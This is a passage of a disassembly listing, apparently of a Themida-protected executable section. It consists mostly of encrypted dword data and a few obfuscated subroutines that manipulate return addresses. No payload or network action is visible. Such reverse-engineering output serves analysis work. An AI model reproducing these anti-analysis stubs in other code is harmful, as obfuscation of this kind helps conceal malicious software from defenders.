4C781h, 3C870000h, 0BDE95C24h, 36FFF98Dh dd 0C3A0B941h, 55CA0391h, 0B8F0EDE5h, 619F325h, 0E0FFC503h dd 57F2EE4Fh, 67A86AACh, 13A9D865h, 5DBBA5EDh, 6E6D9070h dd 3D012BA2h, 540B6BB4h, 7C73AE7Bh, 0E0823E9h, 574D1145h dd 1E6EE30Bh, 7391572Dh, 53929C3Ch, 0FB4E38Eh, 3E1D7457h dd 0F4B98D8Dh, 6A0619h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8B66DFC3h, 98D89D7h, 89061319h dd 131BBD8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8589FAE6h, 6131ED9h, 49B866h, 0DD85C7F9h dd 50061318h, 6A00005Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0D7BAC350h, 305585C7h dd 613h, 0B5FF0000h, 61320B9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 5CC35646h, 5279CB81h, 95FF1F54h dd 6131D89h, 5A4FB866h, 95FF006Ah, 6130DA9h, 2FEBC08Bh dd 0A853FEDDh, 0F1C2A27Eh, 59D17EC9h, 0EF46A8EBh, 1658A26Ch dd 0B174682Ah, 325BC362h, 0B69F8908h, 1A5BAB71h, 7F0BFF31h dd 3C141B54h, 8DB4F127h, 19F5C18Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 187F1FDFh dd 0A6513732h, 1BBD8D89h, 810F0613h, 6, 31BA6650h, 85C75871h dd 61318DDh, 584Ch, 1969BD89h, 85C70613h, 6133055h, 0 ; --------------------------------------------------------------------------- jmp loc_5EB820 ; --------------------------------------------------------------------------- db 51h, 0E3h, 9Dh dd 2EE8FB4Fh, 0DAAFB380h, 637247A3h ; --------------------------------------------------------------------------- loc_5EB820: ; CODE XREF: Themida_:005EB80Cj push dword ptr [ebp+613302Dh] push 0 push ebp call sub_5EB831 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EB831 proc near ; CODE XREF: Themida_:005EB829p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5EB831 endp ; --------------------------------------------------------------------------- sbb dword ptr [ebx+21B1958Bh], 13h push es jmp loc_5EB855 ; --------------------------------------------------------------------------- align 10h sub eax, 0CA3EA813h loc_5EB855: ; CODE XREF: Themida_:005EB84Aj call dword ptr [ebp+6131D89h] push 0 push ebx call sub_5EB866 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EB866 proc near ; CODE XREF: Themida_:005EB85Ep arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5EB866 endp ; --------------------------------------------------------------------------- dw 5DEFh dd 18B1EA8Bh, 850B13A4h, 6132385h, 95FF006Ah, 6130DA9h dd 7FEBC08Bh, 21F666CDh, 46834684h, 3E21F040h, 72294801h dd 9AA588C5h, 1B95900Ah, 0BFB72977h, 0D9968BD9h, 0FD51FC2Ch dd 7A25624Bh, 0C9B02946h, 7F4525CFh, 4153AD2Eh, 0CF7AC42Ch dd 52F918CCh, 37CAF5E2h, 33452159h, 8FFF958Ch, 74FD90E2h dd 613F2D74h, 0E77E67D4h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h dd 0D2658BE6h, 0AD14EA64h, 58619B11h, 28E9F40Fh, 0D915A9D2h dd 40D397A1h, 60CC37C7h, 8D32D8B5h, 19F71F8Dh, 0F88B6606h dd 1BBD8D89h, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0EAEC6DC3h, 9529828Ch, 6132C21h dd 18DD85C7h, 729C0613h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0AEE932C3h, 0FF938A6h dd 0E84h, 0B5896000h, 6133101h, 11318D29h, 0C7610613h dd 13305585h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0E80F61C8h, 0Fh, 1DA8484Ah dd 0D9FC7465h, 587C7E5Ah, 0F91E620h, 665FC3B7h, 6D5AF681h dd 1489BD89h, 0B5FF0613h, 613005Dh, 0C75BD8Bh, 95FF0613h dd 6131D89h, 6A41B2h, 0DA995FFh, 0C08B0613h, 0D8A478EBh dd 9C172B6Bh, 421558B7h, 0B8ED3DCCh, 83851EEEh, 0CB97690Fh dd 0CE9A618Dh, 0F7CE145Dh, 0BFEBA633h, 8D86416Dh, 803399EEh dd 0EB3EABCEh, 3F2EE1B7h, 0DBB27E38h, 0EF9BE7D0h, 3D4E3B2Bh dd 0C5EBEE7h, 0AD244384h, 0AA8684E1h, 0E36C1E77h, 0C818154Eh dd 0AB66D839h, 736421D6h, 3FDBAFDAh, 0C99D8D4Fh, 0B2779E32h dd 3B6BC8DAh, 2D33948Eh, 0D201E894h, 6AEB93C8h, 14E969C2h dd 0A000000h, 23E065h, 3 dup(0) dd 0E9000000h, 567h, 4B6BEB77h, 5979D565h, 4565E577h, 5E7CD463h dd 4767ED7Ch, 23B2DB54h, 21AF9131h, 1CAF9131h, 19AC8E2Ch dd 89C69333h, 0B7ABFA54h, 0F44EC316h, 51E06CBDh, 3725572h dd 109DB487h, 429CCD50h, 0B109DB4h, 0C110428Ah, 83D280D0h dd 5D436302h, 1B6ABDCCh, 54E584CCh, 0C6055435h, 0F6FE54E4h dd 6AFB51E4h, 0AEB2D668h, 63596AB7h, 193D0C6Dh, 92B485C9h dd 5AF8483Dh, 0A9292A3Bh, 0E0122510h, 2626B76Bh, 3B0DA288h dd 6022B59Bh, 752C58DCh, 35046592h, 0BE8FC311h, 1FD368AAh dd 3C1EBC8Ch, 6392A3A9h, 109CF2E2h, 75C48E1Eh, 5C910351h dd 109CF302h, 1A2B4ACBh, 7065D674h, 0D0634C8Bh, 0B7394CA0h dd 54E51FA9h, 0BECC6828h, 0C1D05Ch, 0BFE30000h, 1EBBE070h dd 7BB4EACBh, 0BD449E26h, 0FC8E1D6Ch, 0ECC9413Fh, 0C293F2C8h dd 96C76E7Dh, 0CCAD0E21h, 98F95BEAh, 38AD8AC9h, 109E43DEh dd 3E16A3A7h, 910D805Fh, 5A109E43h, 0F652B13Bh, 2E109E43h dd 9DA1B09Ah, 0CD5F430Fh, 76F8EC7Dh, 5FEB1005h, 65F2C2EAh dd 15AA341h, 0 dd 0C2E16DBDh, 6FFE4CE0h, 347A62Eh, 2EA8DDB3h, 0F7109DB5h dd 79C880D3h, 49187918h, 0F793280Ah, 9DB50C86h, 0D1B0D510h dd 95B70180h, 173B0A46h, 96B889C9h, 54F84946h, 54E58405h dd 38EA5F73h, 73C4A5A3h, 86D88AFFh, 0E5CDEAC8h, 60343658h dd 669260D8h, 0D935A807h, 0A2109E3Eh, 0E6775963h, 0BDEA4866h dd 0E3C7E470h, 2A6BFA52h, 0AFFF43A2h, 0D8BD38D9h, 3F5E4B78h dd 51EA682Eh, 624014A1h, 0F9325A45h, 430FCCDEh, 8A0B5AF2h dd 5EEFE1EBh, 0E97B5FEEh, 7D09D061h, 97C5B0Ch, 109DF18Dh dd 35AD3756h, 0A341D577h, 9FDFh, 70BD8300h, 0B55BB726h dd 0E124109Dh, 0AFFF2380h, 854FCE9Fh, 98BEE9E6h, 0B0C26C28h dd 0FE4FFB4Dh, 0E4F6FE9Fh, 0F86BFA50h, 7956017Ah, 9EA48A04h dd 0AA325310h, 9B3B19A8h, 8F2C28B5h, 22331BABh, 488AD9E3h dd 0C60859F7h, 488ADB75h, 0C60958F6h, 7F462FCCh, 0E9D17613h dd 68F0F85Ch, 0A34118B8h, 8E087D5Ah, 57109EAEh, 0DF6EE673h dd 8E15DFBEh, 5Ah, 0E470BDB4h, 6ADE7155h, 9FFB6A4Dh, 68109DB4h dd 0B4C9B25h, 6245F287h, 9DB497F3h, 963D6010h, 555791B1h dd 61737D6Bh, 882280D4h, 50E16DBDh, 9DB4A021h, 0E9C61910h dd 0ABDA6EC1h, 109DB52Fh, 0C14B95F8h, 4DC09F48h, 109DB4D1h dd 0E9717B9Ah, 0A341EA2Bh, 193h, 0E0C2A700h, 0D3320351h dd 0D575C709h, 5DEF4284h, 2596D80Ch, 4F6FDB6Dh, 4F6C1A4Fh dd 0E47E4770h, 0F55BD182h, 22CD9CEBh, 1F7E168Fh, 93B90C4Eh dd 90BC0D33h, 91C10F33h, 0E87741C0h, 0D878C7EBh, 21137110h dd 464C0A8Bh, 0A0ACFDB5h, 0BF8F1F03h, 77656FAEh, 0FD4C0051h dd 75C488D9h, 0DC86038Dh, 47E3C389h, 5AAC8689h, 14F31h dd 0EA08200h, 4890F140h, 0C8BEA38Eh, 0BC377AEBh, 4DD0168Eh dd 6DFBDFFCh, 0B2E85E1Fh, 0E283425Fh, 2465F8DAh, 6CADBC92h dd 3A8BAD0Dh, 6392B512h, 0A89C3E7h, 0B382CA1Bh, 38800552h dd 7A14A5A9h, 0C3AE285Dh, 16770A89h, 89C3EB67h, 3051B40Ah dd 0D79CAC93h, 4290C64h, 10B7ED17h, 0E0E8A1F2h, 7A0F7981h dd 0F7D775C8h, 0AD959D5Bh, 6E455Ah, 0A3190000h, 74E9C6BCh dd 6F624BFAh, 32FD4C73h, 0BBA11307h, 7251B431h, 60950150h dd 909EA4E6h, 0C50F6EAFh, 0A57BD726h, 1EAF909Eh, 0A4A1FD70h dd 2B6A909Eh, 89D7FB4Ah, 2A5B78C9h, 909EA4B0h, 0CF431479h dd 88354B3Ah, 2E30DA9Fh, 29B3FC17h, 419E6ADFh, 77F36241h dd 80EF629Ch, 0F445075Ah, 0F3D7F495h, 3E5FEE66h, 7189A8B6h dd 25000000h, 351E0C2h, 0AD09D332h, 80F5D2B4h, 168EA175h dd 2C2E3F5Eh, 8ABDED99h, 0C5370543h, 612007A4h, 61C3B3A5h dd 23B61045h, 1E7F0A8Ah, 4167757Fh, 7C0D5CF0h, 0A8A241Bh dd 0DC5365Ch, 0F3390BCh, 7EC091C1h, 0CF4E1F29h, 0F83826AEh dd 0C73695F1h, 1070B1E6h, 3471677h, 95CB9AB2h, 0CF1ADE5Bh dd 4E518B7h, 50A56BBh, 0FCC4901Dh, 32902E6Fh, 0EBC8BEA3h dd 8443BB7Ah, 0A093BC16h, 151A7C97h, 226300C8h, 0AE9E2F13h dd 0B5972A10h, 0E94155A4h, 49762F4Ah, 717BCF61h, 5DF0A217h dd 58E9CFEFh, 0D26165F4h, 77F9EF7Eh, 4FFD5002h, 54F8496Fh dd 3C805h, 7B660000h, 0E571BDE1h, 6DDF7254h, 0E365FADCh dd 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h dd 242ABC9Eh, 69682215h, 89000030h, 89502434h, 405E0h dd 0E8830000h, 24048704h, 241C895Ch, 81E38953h, 4C3h, 4EB8300h dd 5C241C87h, 0BB243489h, 2938267Dh, 68h, 241C2900h, 0F7DBF75Bh dd 39F381DBh, 68D0DE2Eh, 1FA5h, 83242489h, 5E042404h, 97B85053h dd 2938CA03h, 58042444h, 8108468Fh, 3970846h, 348B38CAh dd 0E1895124h, 4C181h, 0C1810000h, 4, 5C240C87h, 5B2434FFh dd 0E904C483h, 0FFF9844Ch, 0E9653017h, 192DD69Fh, 0B8601586h dd 619FC8Ch, 0E0FFC503h, 589226B7h, 30DAEA14h, 3772CD38h dd 5D3C9C7Dh, 4BCCCA5Ah, 1175DDDAh, 1AC967E0h, 0FE8h, 0A7FCBA00h dd 3BFEF5FEh, 0BE833E13h, 0A3A72742h, 0F143BA66h, 3F89BB5Fh dd 0C78122C5h, 70ECh, 1C0468h, 0EBF38100h, 581CB82Eh, 13E9h dd 669F7900h, 90B2A570h, 946B632Dh, 999C219Eh, 178D7A1h dd 0F5737FFh, 58Ah, 0E1816600h, 5E5A0BCBh, 8EE81F9h, 0F74317Fh dd 1689h, 11E900h, 0E5CD0000h, 93221E95h, 966BB505h, 0E580F0F9h dd 81E6052Ah, 8C091F6h, 12B9664Ch, 9AF68167h, 535334D6h dd 378959F5h, 0EF83F18Ah, 5820F03h, 66000000h, 2F7F381h dd 48CA8A4Fh, 11850Fh, 0B9660000h, 32E99782h, 1E000000h dd 4C4AA6E0h, 0E92037FBh, 0Dh, 0CB1B49D7h, 1A2861h, 9B184E9Ch dd 0FF76E99Eh, 0F50DFFFFh, 0A545ABCBh, 0CB382275h, 304962Ch dd 0A8D33FCFh, 6E8FEh, 3F440000h, 5B445DFEh, 805EC88Bh dd 0C68167EAh, 638Dh, 0A7A9D281h, 16BB7862h, 81172265h dd 227DD7F3h, 5336FF17h, 41D98166h, 80585F3Ah, 0E88189C6h dd 5015ECF0h, 9BCF8166h, 0F8F0810Dh, 0B9584BF1h, 1894FA8Bh dd 5372C081h, 800F66E8h, 8, 0A0F78060h, 61F2B70Fh, 0F510689h dd 686h, 8C0F00h, 5F000000h, 8101EE83h, 0B7E635C9h, 4E4E4E48h dd 7E9h, 0EF993200h, 4B9916B9h, 0F01EB83h, 0FFFF9885h dd 8DD08BFFh, 19FF408Dh, 0F99D2306h, 89061316h, 131BBD8Dh dd 85C7F506h, 61318DDh, 73C4h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0EC35141h, 305585C7h, 613h dd 8B660000h, 0EDB5FFDAh, 6A061331h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1597C357h dd 8995FFF9h, 0F06131Dh, 68Bh, 0BEE8100h, 6A0F5209h, 0A995FF00h dd 8B06130Dh, 0C60CEBC0h, 0F82122D4h, 2405208Dh, 0E8FD44FFh dd 6, 0A9A173C1h, 8E0F9DDAh, 2, 0FC5F1CB6h, 5E30C781h dd 81660000h, 0BE70DDEAh, 1762h, 0D2DBD89h, 37FF0613h dd 0DE960h, 2C260000h, 0E76E71A3h, 64FC3159h, 0E8A0C16Ch dd 0Ah, 9F3B3AC9h, 8E64B6C8h, 58F55E2Fh, 85295B61h, 6131DADh dd 0F8BFF381h, 85897B2Ah, 6130641h, 9482C381h, 830F1C22h dd 4, 845BB966h, 3A45F381h, 95B8492Bh, 5373C46Ch, 11A99D09h dd 78F0613h, 216D8523h, 0EF810613h, 60873E84h, 81C68B66h dd 873E80C7h, 2D958B60h, 4E061332h, 0FF80850Fh, 0B589FFFFh dd 61306FDh, 14E8h, 0F8601900h, 63621142h, 66E304F6h, 201A48BCh dd 9EFF1E48h, 0C830F3Ah, 0F000000h, 688h, 0E9BD8B00h, 59061322h dd 0AE9h, 6274C300h, 897C0528h, 81FF35BBh, 72F7C1h, 38C0F00h dd 66000000h, 8168D98Bh, 5A00001Ch, 13E8h, 9B916B00h, 5BC8AAE1h dd 3C4DE441h, 0F5A263AEh, 0C522108Ah, 5B92EC80h, 18BF31FFh dd 5E71D9A8h, 38E0Fh, 8B660000h, 7FC681FEh, 0F28890Bh dd 8Ah, 2EE8100h, 0E811BA54h, 10h, 0B536E8B3h, 6C9A0FDEh dd 8E27739Fh, 0F5D4DFC8h, 0B7F6815Bh, 601C3348h, 397DC981h dd 0E08148DAh, 1B28BED7h, 18F5661h, 0A5DB8166h, 1E9811Dh dd 0E9502756h, 8, 0F9005D62h, 1670212Ah, 55FDC181h, 0AE85027h dd 0D4000000h, 7826FCABh, 0C0C2CB66h dd 0EA815FEEh, 1, 0FF76850Fh, 0BD8BFFFFh, 613104Dh, 0A234AC42h dd 0A27C2406h, 3BB37D7Ah, 80233047h, 83B42A21h, 6F302590h dd 863025C4h, 92A598A7h, 89302301h, 86305A8Dh, 0F8DA684h dd 86363666h, 8642A12Eh, 3F62590h, 802334A9h, 0EED04D6Ah dd 82B15B98h, 3E5E452Dh, 1385DAADh, 0B363656h, 904C16A4h dd 0DE0DA96h, 67B5E3B8h, 0C8363635h, 8518A87Ah, 0A204A4D2h dd 0F571DA49h, 0A2B990BDh, 3BD2332h, 802659A3h, 7EBBF5B7h dd 8630359Dh, 8638CC12h, 89962509h, 86302B01h, 4F3B6C42h dd 79C0A02Eh, 8BD9DA6Fh, 0B302548h, 957FA8B9h, 86359D14h dd 65CF2509h, 86CE9809h, 0BBD2358h, 802A249Dh, 0B6153728h dd 47FF0ECEh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 80233047h dd 83B42A21h, 6F302590h, 863025C4h, 0E98398A7h, 0B9A4F305h dd 22h, 9E8h, 35331C00h, 942126E7h, 8B5F2FCCh, 130F4195h dd 0C3C78106h, 60000066h, 0C319D89h, 8B660613h, 0B861DAh dd 8B000000h, 131FAD95h, 3834FF06h, 99E2B860h, 53524252h dd 5B615E5Eh, 0D618E981h, 0EB812323h, 28DDE54Eh, 0E16840BAh dd 0C2EB8118h, 891201A1h, 132825B5h, 0E5C38106h, 0E953F6DAh dd 5, 0D47A2355h, 71C8966h, 0D599D89h, 0BA660613h, 0E8814A70h dd 544CC233h, 0C081CF8Bh, 544CC22Fh, 81F1BF0Fh, 0FF99E0F8h dd 9A850FFFh, 0E8FFFFFFh, 7, 0E68EFD52h, 0F7841E7h, 28Fh dd 595A5300h, 0FE8h, 5C6FED00h, 18647844h, 81C409E1h, 0FE3BFBA0h dd 1EC59D8Bh, 8B590613h, 91C181D1h, 8B000074h, 0CC48BFD7h dd 0EF811AC2h, 1AC2AF50h, 3EE8166h, 8B31FF88h, 132D11B5h dd 29575806h, 1300598Dh, 0E8815B06h, 5F7C395h, 0C820Fh dd 8D0F0000h, 6, 4CD9D89h, 0E8810613h, 66A638E0h, 0DE9h dd 0FC016A00h, 76C6D0D4h, 857D45B3h, 0E8815FA0h, 34DC6EB7h dd 1899DB3h, 706412BAh, 4E98364h, 20CFE381h, 0EF8149BFh dd 1, 13850Fh, 9D8B0000h, 61322EDh, 15E9h, 0DFAE8000h dd 2878487Ah, 0FF83E9DBh, 0B51BFFFFh, 7939DBA1h, 1FE975D0h dd 0E9000000h, 7CD01Ch, 6 dup(0) dd 0F0E90000h, 2E000007h, 3218B6A0h, 2A10AEA0h, 3416B496h dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h dd 2428B99Fh, 6392BD86h, 16B7B7E7h, 70C579B0h, 109DB511h dd 86007552h, 4F109DB4h, 81D406CEh, 203EE805h, 8FEE6CD8h dd 8CFAEF2Fh, 96BE0B2Fh, 51DC114Eh, 7A168DCBh, 0FB4A0858h dd 0F3DCFB9Ah, 79DB7241h, 45E8A3C7h, 0A7EC2724h, 706FFEC6h dd 253F54Ah, 0E63690C5h, 9EFF0A89h, 56E3F5FFh, 67FAE0FEh dd 0DF7254E5h, 9C36DC6Dh, 0ACE2731Fh, 89E5DD39h, 667A60Ah dd 15A387A8h, 6D2BB33Dh, 0D55AADDBh, 41h, 2670BD69h, 9DB55BB7h dd 80E12410h, 14408DB1h, 36D33D45h, 0B7173D8Ch, 41E65D1Bh dd 1F05A3h, 0BD590000h, 0E3C7E470h, 75F4FC54h, 9DB48504h dd 7FFC6610h, 0BC0B86D3h, 0FAD5F594h, 2Fh, 4BE0C258h, 0A32D6CFDh dd 213024B1h, 9DB574D0h, 3218AC10h, 0FF921F23h, 4DCC9DADh dd 0DB751D2Ch, 3E54775Eh, 0A6381ACDh, 9F2E20A8h, 0A3BB15B5h dd 7AEBC8BEh, 168E85A3h, 2E102164h, 3012B09Ah, 0A19FAE9Ch dd 6CA13E48h, 107B8EA5h, 4D035476h, 0AC399DFCh, 707899A8h dd 7FC392F3h, 94D1C2Ch, 15C697BBh, 63796CDDh, 4EE29029h dd 0D901DEFCh, 0DAFCC488h, 0C3E7C486h, 988D971h, 85D120BFh dd 67047778h, 4ADE9425h, 0A308A200h, 7CD607BBh, 45109DB5h dd 5085A1C0h, 52024F73h, 0A03A8203h, 46E06CBDh, 994767C1h dd 41A641DEh, 53h, 0C5BBA315h, 4EE0C269h, 400A9E00h, 0B4890F1h dd 9DB580DAh, 4391B910h, 2728C50Fh, 0EB9AB203h, 109DB56Fh dd 9AB4D538h, 6BBD68C2h, 0ED152F19h, 6D0C07BEh, 70E5C2D1h dd 109DB516h, 0DD2BF8DFh, 0DAE6ECEDh, 41DF31BBh, 0FE4CE0C2h dd 63EBF6h, 0C2470000h, 0EC4051E0h, 0EF8E0F5Eh, 358DD9E5h dd 9DB546C0h, 68EA7A10h, 0A7ABB8D9h, 0E9283919h, 0E8CAE988h dd 66F0F856h, 0B53793C2h, 4A70109Dh, 860756F8h, 3483D73Eh dd 795E7D1Ch, 0CB15B3F7h, 23BD0704h, 6BBD68C2h, 0AEDF00DFh dd 109DB534h, 0E475D368h, 6D7796A5h, 70E5C2F3h, 109DB516h dd 0E436BEDFh, 0E06CBD3Eh, 36142051h, 0C2FD1099h, 331670E5h dd 0BEDF1099h, 0B35FDC36h, 0A68C2A22h, 2A2C3D17h, 0A6A8B99Bh dd 26283913h, 0A4A6B791h, 0EC26390Fh, 1280664Fh, 0D87CC979h dd 949262FAh, 2B3A5CBAh, 20000000h, 51E06CBDh, 5B780E53h dd 4903567Ch, 0A38D007Fh, 0C746168Eh, 1CADE576h, 4ABBD366h dd 0A8A9CD0h, 0B5157499h, 3022B298h, 6CBD2EA8h, 0C3E4C3E0h dd 9DB53892h, 0ED9C0110h, 109DB571h, 67F7DB3Ah, 328EDDE7h dd 4A704F37h, 4F8C54F6h, 8EA2031Eh, 0E9C94C16h, 2D1076C7h dd 0AC49DF4Ah, 7ED31A81h, 9F022B41h, 4A706FFEh, 860756F8h dd 0BA70CF3Eh, 0D7688EDCh, 54E6E879h, 7AF86BFAh, 0CF431401h dd 13A58D3Ah, 1AABAD37h, 25850174h, 0CF4E8618h, 972A10AEh dd 0A53416B5h, 81DD10AFh, 4A861825h, 466201CBh, 194C6B1Bh dd 8C092F40h, 203F9C01h, 51971EDh, 0C4183A80h, 76C3E786h dd 0C60E8FDEh, 0BBA33A98h, 0F65069C5h, 0C3E06CBDh, 300151DFh dd 0C14D07D1h, 0DE994767h, 577BA641h, 95F44505h, 45D44Bh dd 0A36A0000h, 0C269C5BBh, 9DB53793h, 0F64A7010h, 0BEDF8C54h dd 0BDE5C2A4h, 8D00DF6Bh, 109DB511h, 0A731BBDAh, 0B3196BBDh dd 9ED5190h, 7DA680E1h, 0E0DDC2E3h, 8B992870h, 0BD6A0D7Bh dd 0F16C316h, 259AC5h, 0A3380000h, 2DB6FFBBh, 81114D4Ah dd 93C246E0h, 109DB537h, 2861F426h, 6AABBA98h, 0C2D06A0Bh dd 0DF6BBD68h, 0BDE37D83h, 0E4C3E06Ch, 9DB51571h, 8C01DE10h dd 109DB512h, 11DBBADBh, 36152352h, 94FE1099h, 52FA4BF7h dd 55FF4E74h, 1B73C204h, 80B68F4Ah, 1A2B4AC3h, 5AE7A838h dd 88CA9BFAh, 164A1B39h, 90765FDCh, 0A1FD704Fh, 6A10998Dh dd 1737872Bh, 1CC643CDh, 22887CDh, 4ADEB3h, 27B1D061h dd 0BA2B0C29h, 10998E60h, 84DCE429h, 5CBA33B4h, 391Ch dd 6CBD4200h, 557251E0h, 9DB4A620h, 8394D710h, 470DE78h dd 0B20ED637h, 7DF0CFB7h, 168F4190h, 98B71479h, 8B40E965h dd 6F53B20Ah, 0BEDF6EDEh, 0EE24B736h, 3814A55Dh, 6CBD409Ah dd 0E5351E0h, 4B2A5B78h, 0DC168EAAh, 0A3BF19B9h, 5069C5BBh dd 70E5C2F6h, 109DB516h, 2436BEDFh, 0E71EF591h, 379CABF6h dd 0E0C2FC56h, 9AB8004Eh, 6CDDC240h, 0FA459449h, 0C5A33B85h dd 6DA64179h, 2Fh, 0C5BBA3D1h, 3793C269h, 109DB5h, 0CC1C3E9Dh dd 8E56B786h, 50E0C2D4h, 22099D02h, 0B273180Fh, 0BD8D2D2Ah dd 7D83DF6Bh, 3DC4E3h, 0A36A0000h, 0C269C5BBh, 0D1B04BDDh dd 4CC1864Bh, 109E8AD2h, 0D11B7A9Bh, 8AF55184h, 0AFE4109Eh dd 6FB0D15Ch, 2C066704h, 6BBD68C2h, 0AEDF00DFh, 109DB534h dd 0CC88D5FDh, 737D1C7Dh, 0BDE37DE9h, 2051E06Ch, 10993614h dd 4E0475FDh, 4F7151FBh, 0C1FF4EFEh, 8C01DEA8h, 168A3861h dd 83AC0B8Ah, 9884E288h, 0B0AE3627h, 0C5BBA312h, 0BDF65069h dd 0C146E06Ch, 0DE994767h, 4541A641h, 15000000h, 0E6C5BBA3h dd 0B53A94C9h, 273109Dh, 109DB488h, 1E7FCC51h, 93C20CD6h dd 109DB537h, 787DA00h, 9DB57CD6h, 0A1C04510h, 0B3107190h dd 0B4E56194h, 6FAE109Dh, 68C2FB65h, 83DF6BBDh, 29C4E37Dh dd 6A000000h, 250E0C2h, 20607EBAh, 3C0C9F83h, 93C22AB4h dd 109DB537h, 0C29BB726h, 0DF6BBD68h, 19D6D700h, 66FF743Ah dd 0E37D045Eh, 51E06CBDh, 99361420h, 475FD10h, 7151FB4Eh dd 0FF4EFE4Fh, 0CB1BA8C1h, 0EB8C25BDh, 5647A72h, 17B4D534h dd 8A468BE6h, 0D1F11416h, 0C5BBA377h, 0BDF65069h, 0C146E06Ch dd 0DE994767h, 4141A641h, 15000000h, 69C5BBA3h, 250E0C2h dd 0EE689DBAh, 0B7109DB4h, 0B4E96598h, 53B2109Dh, 0E071E16Fh dd 0C266C0A1h, 3793C2E5h, 109DB5h, 0BD89539Dh, 0D700DF6Bh dd 994685C2h, 0E17B45FDh, 20C4E37Dh, 6A000000h, 69C5BBA3h dd 0B53793C2h, 0B726109Dh, 0BD68C29Bh, 0C283DF6Bh, 0B51670E5h dd 0BEDF109Dh, 0BD3EE436h, 5351E06Ch, 775B780Eh, 0DA34A9E7h dd 0A3109DB4h, 0D3320362h, 2899CC09h, 19168EC0h, 8FDAD6F4h dd 0A94AC439h, 2C130A8Ah, 222F4FAh, 0C4A5C40Fh, 8A6376E7h dd 260C1074h, 6BAABB95h, 0B0810461h, 0B1113B8Eh, 3F0E3E8Fh dd 2A73BDCEh, 0C744AE5Eh, 2482CA1Bh, 72E3ABFEh, 89A66D18h dd 8CDDBCE1h, 76DE6B4Fh, 824A0054h, 51FF50h, 7929A2CCh dd 604764E8h, 3178B05h, 0D301CB23h, 0D381D0F2h, 879C0382h dd 57A991D3h, 3081D31Dh, 6DA0BF1Ch, 89A679F1h, 0D2915BBAh dd 0AF7h, 0E0C25B00h, 0D2330250h, 0BDDC860Ah, 7254E571h dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 76768h, 243C8900h dd 0C781E789h, 4, 8704EF83h, 525C243Ch, 0C281E289h, 4 dd 8704EA83h, 895C2414h, 89512434h, 4C181E1h, 81000000h dd 4E9h, 240C8700h, 240C895Ch, 5304B850h, 2D480609h, 0FFFFFFFFh dd 0EF4F932Dh, 58C689FFh, 240C8B54h, 4C481h, 89530000h dd 8BA52F3h, 1000000h, 5A1A89CAh, 240C8B5Bh, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 5E2434FFh, 0E904C483h, 0FFF9760Ch dd 24036B30h, 0B58A086Dh, 0B80225FAh, 61A0ACAh, 0E0FFC503h dd 673E0520h, 694BEB72h, 6644F9B6h, 698635AEh, 65D5F675h dd 6654255Dh, 38DAF9C9h, 0CC58D8Dh, 9D8B061Ah, 6131321h dd 1BBD8D89h, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 1F9DF3C3h, 0BE34C82Dh, 0DD85C78Dh dd 94061318h, 6A000059h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E87AC352h, 0Ch, 55A870D3h dd 0A2DE9EFBh, 2F8365E2h, 35099D2Bh, 0C7580613h, 13305585h dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 2631C300h, 0EE9775Bh, 70000000h dd 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 12E907h, 0B3DF0000h dd 0D179E85Ch, 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 0FE8h dd 0A3822500h, 95E2B26Fh, 5BCD9275h, 59C4A1D4h, 58C3B70Fh dd 0ED5B5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 196715C3h, 97B09758h, 2BD3A4D8h dd 1300D9BDh, 8995FF06h, 6A06131Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 52F9C356h dd 0F8CAF5E2h, 95FF006Ah, 6130DA9h, 0FEBC08Bh, 9EE0E601h dd 5EDD9155h, 1C31091h, 0E814031Bh, 0Ch, 0F70B07Ah, 5C080F9Ch dd 15E54DAFh, 2B58D38Bh, 131D1995h, 44C08106h, 9000072h dd 13059DBDh, 6806h, 0E2BA0000h, 5B7445B6h, 34FFD68Bh dd 2860F03h, 8B000000h, 0C68159FAh, 7CED85B0h, 6F8FE981h dd 83BE1E34h, 816E256Eh, 0DEE660C1h, 4FC2803Fh, 87DEF181h dd 5E92BA4h, 0E6000000h, 3F103D61h, 0F180C89h, 8D29D0B7h dd 613050Dh, 8104EB83h, 0FF8E48FBh, 0AF850FFFh, 0E9FFFFFFh dd 0Ch, 0EA998701h, 0E4D9DE77h, 4AEECC25h, 23E9h, 87417500h dd 0Dh, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_5ED536 ; --------------------------------------------------------------------------- db 58h, 0Ah, 4Ch dd 54FA4C6Eh, 4A005476h, 5BF5466Ch, 